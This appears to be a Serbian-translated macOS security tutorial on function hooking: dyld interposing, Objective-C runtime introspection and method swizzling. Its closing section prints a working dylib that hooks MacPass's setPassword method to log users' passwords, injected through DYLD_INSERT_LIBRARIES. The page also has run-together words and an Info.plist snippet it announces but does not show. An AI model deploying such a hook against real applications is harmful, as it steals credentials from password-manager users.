Kreirajte dylib sa __interpose (__DATA___interpose) sekcijom (ili sekcijom označenom sa S_INTERPOSING) koja sadrži parove pokazivača na funkcije koji se odnose na originalne i zamenske funkcije.
Promenljiva okruženja DYLD_PRINT_INTERPOSTING može se koristiti za debagovanje interpozicije i održaće proces interpozicije.
Takođe, imajte na umu da interpozicija se dešava između procesa i učitanih biblioteka, ne funkcioniše sa kešom deljenih biblioteka.
Dinamička Interpozicija
Sada je takođe moguće dinamički interpozovati funkciju koristeći funkciju dyld_dynamic_interpose. Ovo omogućava programatsku interpoziciju funkcije u vreme izvođenja umesto da se to radi samo na početku.
Potrebno je samo naznačiti parovefunkcije koju treba zameniti i funkciju zamene.
U ObjectiveC, ovako se poziva metoda: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
Potrebni su objekat, metoda i parametri. Kada se metoda pozove, msg se šalje koristeći funkciju objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);
Objekat je someObject, metoda je @selector(method1p1:p2:), a argumenti su value1, value2.
Prateći strukture objekata, moguće je doći do niza metoda gde su imena i pokazivači na kod metoda smešteni.
Napomena da se metode i klase pristupaju na osnovu njihovih imena, ova informacija se čuva u binarnom formatu, tako da je moguće povući je sa otool -ov </path/bin> ili class-dump </path/bin>
Accessing the raw methods
Moguće je pristupiti informacijama o metodama kao što su ime, broj parametara ili adresa kao u sledećem primeru:
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
Metoda Swizzling sa method_exchangeImplementations
Funkcija method_exchangeImplementations omogućava da se promeniadresaimplementacijejedne funkcije za drugu.
Dakle, kada se funkcija pozove, ono što se izvršava je druga.
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
U ovom slučaju, ako implementacioni kod legit metode proveravaimemetode, mogao bi da otkrije ovo prebacivanje i spreči njegovo izvršavanje.
Sledeća tehnika nema ovo ograničenje.
Prebacivanje metoda sa method_setImplementation
Prethodni format je čudan jer menjate implementaciju 2 metode jednu za drugu. Koristeći funkciju method_setImplementation, možete promenitiimplementacijumetode za drugu.
Samo zapamtite da sačuvate adresu implementacije originalne metode ako planirate da je pozovete iz nove implementacije pre nego što je prepišete, jer će kasnije biti mnogo komplikovanije locirati tu adresu.
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
Metodologija napada putem hook-ovanja
Na ovoj stranici su razmatrani različiti načini za hook-ovanje funkcija. Međutim, oni su uključivali izvršavanje koda unutar procesa za napad.
Međutim, obe opcije su ograničene na nezaštićene binarne datoteke/procese. Proverite svaku tehniku da biste saznali više o ograničenjima.
Međutim, napad putem hook-ovanja funkcija je veoma specifičan, napadač će to uraditi da ukrade osetljive informacije iz procesa (inače biste jednostavno uradili napad injekcijom procesa). A te osetljive informacije mogu biti smeštene u aplikacijama preuzetim od strane korisnika, kao što je MacPass.
Dakle, vektor napadača bi bio da pronađe ranjivost ili ukloni potpis aplikacije, injektuje DYLD_INSERT_LIBRARIES env promenljivu kroz Info.plist aplikacije dodajući nešto poput:
Dodajte u tu biblioteku kod za hooking kako biste eksfiltrirali informacije: Lozinke, poruke...
Imajte na umu da u novijim verzijama macOS-a, ako uklonite potpis aplikacionog binarnog fajla i ako je prethodno bio izvršen, macOS neće više izvršavati aplikaciju.
Primer biblioteke
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}